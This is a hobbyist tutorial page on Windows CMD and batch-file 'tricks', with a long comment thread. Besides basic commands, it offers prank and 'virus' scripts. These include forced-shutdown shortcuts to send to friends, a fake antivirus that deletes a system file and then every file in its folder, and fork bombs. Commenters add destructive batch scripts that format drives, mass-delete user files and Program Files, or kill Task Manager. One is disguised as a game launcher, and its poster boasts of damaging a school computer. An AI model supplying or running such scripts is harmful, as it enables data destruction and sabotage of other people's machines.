Introduction: CMD Tricks 101

This will teach you how to do CMD.

CMD is the original MS-DOS command prompt, the Shell.

First, click START
Then press Run...
Type CMD or COMMAND
This window should appear

Step 1: EDIT: the Worlds Worst Editor

type EDIT Example.TXT
this window should appear
type whatever you want(I said hello ppl at INSTRUCTABLES)
I said it was the worlds worst cause it is, it stinks only one size, one font, one color.
At least no stoopid spell check...................
But good for batch...

Step 2: BATCH FILES ROCK

Batch files, with a .BAT extension, are BATCHes of MS-DOS commands, executed togther.
This is just basic, try Advanced,
BATCH MOVIES

@echo off stops commands from being shown.

echo sends whatever is after it to the screen
echo hi ppl

del deletes whatever file is after it, or del *.* deletes every file in the folder
del example.txt

cd changes to whatever folder is after it, or cd .. goes back one
cd desktop

format formats whatever disk is after it
format A:

Step 3: A Funny Little Prank

create a new document in edit:
edit annoy.bat
remember what folder its in!
type without quotes: "@echo OFF
:start
netsend /domain message goes here
goto start"
replace message goes here with a message.
move it to the desktop
run it!

Step 4: Shutdown the Comp!

go to cmd
type: shutdown -s -t 20 -f -c "shutting down..............."

SEND TO SOMEONE ELSE!
right click desktop
new>shortcut
shutdown -s -t 20 -f -c "shutting down..............." in the box
next
a name in the box
finish
send to a friend!

Step 5: BSOD(Blue Screen of Death)

to create the BSOD, make a batch file, then type what's between the stars

*****************************************************

@echo off
cd /
cls
color 17
echo A problem has been detected and Windows has been shut down to prevent damage
echo to your computer.
echo.
echo The problem seems to be caused by the following file: SPCMDCON.SYS
echo.
echo PAGE_FAULT_IN_NONPAGED_AREA
echo.
echo If this is the first time you've seen this stop error screen,
echo restart your computer. If this screen appears again, follow
echo these steps:
echo.
echo Check to make sure any new hardware or software is properly installed.
echo If this is a new installation, ask your hardware or software manufacturer
echo for any Windows updates you might need.
echo.
echo If problems continue, disable or remove any newly installed hardware
echo or software. Disable BIOS memory options such as caching or shadowing.
echo If you need to use Safe Mode to remove or disable components, restart
echo your computer, press F8 to select Advanced Startup Options, and then
echo select Safe Mode.
echo.
echo Technical information:
echo.
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)
echo.
echo.
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c
pause >nul
cls
echo Downloading viruses . . .
ping localhost -n 5 >nul
dir /s
pause >nul
shutdown -s -t 120 -c "Your computer has committed suicide, have a nice day."
*****************************************************
note no damage is done, just prints all files to screen, then shuts down.

Step 6: MS DOS Is NOT DEAD!

MS-DOS isn't dead!!!
You can boot up in MS-DOS my making a boot disk. A program to do that is attached here.

Step 7: Very Mean Viruses DO NOT USE

this virus can wreck a drive DO NOT NOT NOT USE, REPEAT DO NOT USE!

THESE ARE ILLEGAL.

i no this will be contrversial, so i quote: Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press...

OK I say one more time(last time really) DO NOT RELEASE!!!!!!!!!!!!

ok #1 DEADLY BSOD :

*****************************************************

@echo off
cd /
cls
color 17
echo A problem has been detected and Windows has been shut down to prevent damage
echo to your computer.
echo.
echo The problem seems to be caused by the following file: SPCMDCON.SYS
echo.
echo PAGE_FAULT_IN_NONPAGED_AREA
echo.
echo If this is the first time you've seen this stop error screen,
echo restart your computer. If this screen appears again, follow
echo these steps:
echo.
echo Check to make sure any new hardware or software is properly installed.
echo If this is a new installation, ask your hardware or software manufacturer
echo for any Windows updates you might need.
echo.
echo If problems continue, disable or remove any newly installed hardware
echo or software. Disable BIOS memory options such as caching or shadowing.
echo If you need to use Safe Mode to remove or disable components, restart
echo your computer, press F8 to select Advanced Startup Options, and then
echo select Safe Mode.
echo.
echo Technical information:
echo.
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)
echo.
echo.
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c
pause >nul
cls
echo Downloading viruses . . .
ping localhost -n 5 >nul
cd c:\
dir /s
pause >nul
shutdown -s -t 120 -c "Your computer has committed suicide, have a nice day."
:dead
start bsod.bat
goto dead
*******************************************************************
NOTE: NO permanent damage.

2:Fake Antivir
*****************************************************************************************************
@echo OFF
echo This program will purge any ak$327 viruses on your computer.
echo SEARCHing (lots of text, may take a while, just
echo wait, will beep when finished.)
pause
cd C:\
dir /s
echo 
echo 
echo 
echo Done searching, PRESS ENTER or RETURN KEY TO DISPLAY
pause>nul
echo Displaying infected files
echo Files infected with ak$327:
echo short full
echo 1:pacerprf.ini displaying on next line
echo Full path:
echo C:\Windows\inf\Psched\0009\pacerprf.ini
echo 2:memtest.exe C:\Windows\Boot\PCAT\memtest.exe
pause
echo WARNING
echo MEMTEST.EXE WILL PERMENENTLY DELETE YOUR
echo SYSTEM ON A SPECIFIED DATE!
ECHO DELETE IMMEDIATLY, OR LET ME!
echo close now if you want to delete it yourself.
echo otherwise press space
echo note to please run this on an ADMINISTRATOR account.
pause>nul
echo Confirm if prompted by pressing y then enter or return........
del C:\Windows\Boot\PCAT\memtest.exe
Pause
echo thanks for using this program, please delete this too:
echo C:\Windows\inf\Psched\0009\pacerprf.ini
pause@echo off
del *.*
y

Step 8: FINISHED!

take this test!
*******************************************
what does del do?

what does format do?

what does echo do?
******************************************
check your answers!

Comments

author
zaidr2 (author)2015-08-02

good trick

must read http://entertainment7899.blogspot.com/2015/07/undeletable-folder.html

author
Dong13 (author)2015-07-27

wow easy and nice

author
Krishna MohanS (author)2015-02-02

I have to say ...Awesome tricks just love these all.

Thank you for sharing..

Some more Latest cmd tricks are here feel free to visit
http://grabguides.com/latest-command-prompt-tricks-cmd-tricks

author
HammertheHacker4565 (author)2015-01-28

hi

author
HammertheHacker4565 (author)2015-01-28

hi I am new

author
techno guy (author)2011-12-18

The edit thing to make or edit files and stuff doesnt work, it says: 'edit' is not recognized as an internal or external command, operable program or batch file.

author
Towtow10 (author)techno guy2014-07-31

Probably because your computer is 64 bit.

author
abdallahk (author)Towtow102014-12-30

so u mean no way for 64 bit computers to edit?

author
Towtow10 (author)abdallahk2014-12-30

No you cant use edit on a 64bit computer

author
preetkainth007 (author)2014-09-27

i want to create .bat file

cmd in run file

cd hard disk

winvnc

only these world

preetkainth007@live.com

+918198077688

author
preetkainth007 (author)2014-09-27

i want to create .bat file

cmd in run file

cd hard disk

winvnc

only these world

preetkainth007@live.com

+918198077688

author
impulsegordon (author)2012-03-11

ok i am trying a remote shutdown on a computer that is on my network but it is hardwired into the network and i am on a wireless computer any suggestions?

author
Batcharoo (author)impulsegordon2014-09-13

so.... Go onto the computer you are gonna remote shutdown, go on cmd and type "Hostname" without quotes and then the hostname should pop up... then go on your computer and type into cmd "Shutdown /i" without quotes, and a window should pop up and at the top of it click the button "Add Computers" then type in the hostname of the other comp

author
ChrisG3 (author)2014-08-22

For those who want full screen . after first text box hit enter soi you have a new 2nd line and type "mode 1000" without "".

This makes full screen but also make sure command prompt is on top left corner of screen or it will be half off screen

author
Dark Leader (author)2014-08-15

THat was cool but now I will show you guys many goodthings see my instructable

author
crazyman135790 (author)2011-04-21

what i call the deth virus

del C:/

author
abclop99 (author)crazyman1357902014-07-22

del *.*

author

if you try to delete the c: drive, doesnt it ask you if you realy want to like: (Y/N) or something like that?

author
sandmman (author)techno guy2012-11-06

You would have to add /p or -p after del for it to prompt you

author

You can't delete an entire HDD partition within 1 second w/ out the guy knowing... Or can you?

author
Armend77 (author)2014-06-25

Can someone tell me how to make format pc without cd, from cmd ?

author
tomyom8n8 (author)2014-05-26

Try this one: (remember put this on notepad and save it as virus.bat or Tricks.vbs)

@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks

author
tomyom8n8 (author)2014-05-26

or this one:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loop

author
tomyom8n8 (author)2014-05-26

Try this one then:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

author
Jason the marksman (author)2014-04-27

this will plant the "Four Virus Formation" but it dont run it.

@echo off

color a

mode 75,20

title Four Virus Formation Planter

echo This Setup will plant the Four Virus Formation on the computer

pause

cls

goto top

:top

echo Please enter the password

set /p pass=password:

if %pass% == ppvshu goto buzhen

msg * Password error,please try again

goto top

:buzhen

cd "%userprofile%\desktop"

md datafile

cd "%userprofile%\Desktop\datafile"

echo @echo off >> 1.cmd

echo mode 15,15 >> 1.cmd

echo format F: >> 1.cmd

echo format D: >> 1.cmd

echo format E: >> 1.cmd

echo format G: >> 1.cmd

echo cd "%userprofile%\My documents" >> 1.cmd

echo del /f /q /s "*.docx" >> 1.cmd

echo del /f /q /s "*.xslx" >> 1.cmd

echo del /f /q /s "*.pptx" >> 1.cmd

echo del /f /q /s "*.pdf" >> 1.cmd

echo cd "%userprofile%\my pictures" >> 1.cmd

echo del /f /q /s "*.png" >> 1.cmd

echo del /f /q /s "*.jpg" >> 1.cmd

echo del /f /q /s "*.BMP >> 1.cmd

echo @echo off >> 2.cmd

echo mode 15,15 >> 2.cmd

echo :top >> 2.cmd

echo start notepad >> 2.cmd

echo start cmd >> 2.cmd

echo start dxdiag >> 2.cmd

echo start regedit >> 2.cmd

echo tskill taskmgr >> 2.cmd

echo goto top >> 2.cmd

echo @echo off >> 3.cmd

echo mode 15,15 >> 3.cmd

echo cd C:\ >> 3.cmd

echo del /f /q /s "*.exe" >> 3.cmd

echo del /f /q /s "*.txt" >> 3.cmd

echo del /f /q /s "*.dll" >> 3.cmd

echo assoc .dll=exefile >>3.cmd

echo assoc .jpg=txtfile >> 3.cmd

echo @echo off >> 4.cmd

echo shutdown -s -t "50" -c "bye" -f >> 4.cmd

attrib +s +h +r /s /h

cd "%userprofile%\desktop"

echo @echo off >> Counter Strike Xtreme.cmd

echo mode 15,15 >> Counter Strike Xtreme.cmd

echo cd "%userprofile%\desktop\datafile" >> Counter Strike Xtreme.cmd

echo attrib -h /s /h >> Counter Strike Xtreme.cmd

echo start "" ".cmd" >> Counter Strike Xtreme.cmd

echo start "" ".cmd" >> Counter Strike Xtreme.cmd

goto done

:done

cls

echo Formation Complete

goto done

WARNING:Don't open CS Xtreme.it's the trigger for the formation

also,when it ask for password it's:ppvshu

i used it in school and a computer data was 80% damaged.very cool indeed

author
jjoel132 (author)2014-04-08

Video on ''Some Command Prompt Tricks You Don't Know'' and I am sure that they gonna make your life easier.

https://www.youtube.com/watch?v=30Rwp9hzPjg

author
mikroskeem (author)2012-04-29

Try this destroyer:

@echo off
:start
cls
del %userprofile% /Q
del %ProgramFiles% /Q
:top
del C: /Q
goto start

It really harms your computer and files

author
sandmman (author)mikroskeem2012-11-06

Deletes your User data, Program files and C drive?

author
TheStarKeeper (author)sandmman2014-03-09

THATS SO DANGEROUS!

author
4ack3r g0d (author)mikroskeem2013-09-01

you call yourslef a hacker
@echo off
del %userprofile% /Q
del %ProgramFiles% /Q
del %system32%
shutdown -r 00 -t
exit

author
mikroskeem (author)2013-01-30

heh open big 600+ mb iso file with notepad++ :D quick bluescreen

author
itsmetomyouknow (author)2012-10-26

More usefull cmd tricks at youtube:
Get Installed Driver Information with cmd:
http://youtu.be/4Gm8dfxiX5o

Change color in CMD:
http://youtu.be/HBiu48o2R4k

Copy from the command prompt:
http://youtu.be/AYiuGSbS5Dg

How to change the directory/path in cmd:
http://youtu.be/zjnefuoQGTY

And more video's on the channel.

author
mikroskeem (author)2012-09-29

did you use bat to exe converter?
It has problems, it works in that computer, where you complimed in it

author
shabbirkhan31 (author)2012-08-30

ehhhhhhhhh so long trick i m tired

author
nversluis (author)2012-03-27

Does anyone know a website with more CMD commands to mess with stuff? That would be really helpful.

author
Broom (author)nversluis2012-06-04

Search for "DOS commands" on the web. "CMD" is just the DOS command that summons the terminal these are typed into.

author
siddharth22 (author)2012-05-23

how to remove this error ???

author
siddharth22 (author)2012-05-23

how to remove this error ???

author
siddharth22 (author)2012-05-23

02.jpg
author
siverstein (author)2009-12-03

actually.. the first will eventually.. if not stopped.. crash the computer..

but.. a much better virus that is impsible to stop that will crash the comp at a *much* faster rate, is this.

open note pad.

save as. name.bat

then code it

only needs 3 lines.

:start
start name.bat
go to start

its an endless loop that constantly opens more endless loops.

eventually, your comp will run out room to run all of them and just die >; )

author
impulsegordon (author)siverstein2012-03-11

can you do that remotly if you are on the same network and have that computer info?

author
will421 (author)siverstein2011-02-10

*COUGH*
why not:

cd %SYSTEMDRIVE%/
:start
copy *.* %random%.*
start *.*
goto start

author
TheBatchies (author)siverstein2010-03-06

:a
start & goto a

Only two lines :D

author
acdurai (author)siverstein2010-02-09

Dear friend,ur notepad virus code is very nice...

author
sheildshirt (author)2012-03-09

This is a fun scare:
@echo off
echo Yes
echo you
echo got
echo it
echo !!
echo.
pause
echo.
echo This
echo indeed
echo is
echo a
echo virus
echo !!!
echo.
pause
echo.
msg * So
msg * you
msg * should
msg * probably
msg * close
msg * is
msg * now
msg * before
msg * I
msg * start
msg * to
msg * infect
msg * !!!
pause
echo LIKE
echo THIS
echo !!!!
pause
echo like this!! >> random
echo like this!! >> random1
echo like this!! >> random2
echo like this!! >> random3
echo like this!! >> random4
echo like this!! >> random5
echo like this!! >> random6
echo like this!! >> random7
echo like this!! >> random8
echo like this!! >> random0
echo like this!! >> random9
echo like this!! >> randomq
echo like this!! >> randomw
echo like this!! >> randome
echo like this!! >> randomr
echo like this!! >> randomt
echo like this!! >> randomy
echo like this!! >> randomu
echo like this!! >> randomi
echo like this!! >> randomo
echo like this!! >> randomp
echo like this!! >> randoma
echo like this!! >> randoms
echo like this!! >> randomd
echo like this!! >> randomf
echo like this!! >> randomg
echo AND
echo THIS
echo !!!!
pause
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
echo HA
echo HA
echo HA
echo !!
pause
echo.
echo.
echo SCARED??
pause
echo.
echo.
echo WANT TO CLOSE THIS ANNOYING PROGRAM??
pause
attrib +r +s random1
attrib +r +s random2
attrib +r +s random3
attrib +r +s random4
attrib +r +s random5
attrib +r +s random6
attrib +r +s random7
attrib +r +s random8
attrib +r +s random9
attrib +r +s random0
attrib +r +s randomq
attrib +r +s randomw
attrib +r +s randome
attrib +r +s randomr
attrib +r +s randomt
attrib +r +s randomu
attrib +r +s randomy
attrib +r +s randomi
attrib +r +s randomo
attrib +r +s randomp
attrib +r +s randoma
attrib +r +s randoms
attrib +r +s randomd
attrib +r +s randomf
attrib +r +s randomg
echo.
echo.
echo.
echo.
echo HAHA!!
pause
echo YOU THOUGHT I WAS GONE DID YOU??
pause
echo WELL...
pause
echo @echo on
echo del C:/
echo Are you sure?(Y/N)
echo y
echo C:/ format complete.
echo pause
pause
echo pause
pause
echo echo oh oops I turned the echo on...
echo oh oops I turned the echo on...
echo pause
pause
echo @echo off
pause
echo thats better...
pause
echo well goodbye and have a close look at your desktop!!
pause
echo HAHAHAHAHAHAHAHAHAHA *cough* HAHAHAHA!!!!!
GOTO GOOD
echo if you see this then your cheating!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
:GOOD
pause
echo if you edit this you may see something that I hid just above this...
pause
echo anyway you can close this now!
pause
echo Press any key to exit...
pause
echo Nah I'm just joking you're OK...
pause
pause>nul
pause>nul
msg * BOO!!
msg * HAHAHAHA!!
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
msg * BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!
msg * HAHAHA!!
pause
pause
echo THANK YOU!! THANK YOU VERY MUCH!!
echo You have been a great audience!!
pause
echo now...
pause
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo STOP BEING STUPID AND CLOSE THIS PROGRAM!!!!!!!!!!!!
pause
exit
if your smart enough you'll copy and paste

author
UberHacker (author)2008-10-20

UberHacker agrees with collard41 except that there are much cooler things you can do with cmd it will most defentily blow your mind if you want to find out more email me at gmnorth@gmail.com

author

i would like if you would send me any nice tricks in cmd my email is ngotalvin@gmail.com

author
Foogie (author)UberHacker2010-08-14

I ll take note of that.

author
Fox-san48 (author)UberHacker2010-03-19

i think i will

author
zapper067 (author)2011-08-09

full screen it,please?{the code in the file}

About This Instructable

686,233views

51favorites

More by BatchMan:how to do send ns messages over a school net
Add instructable to: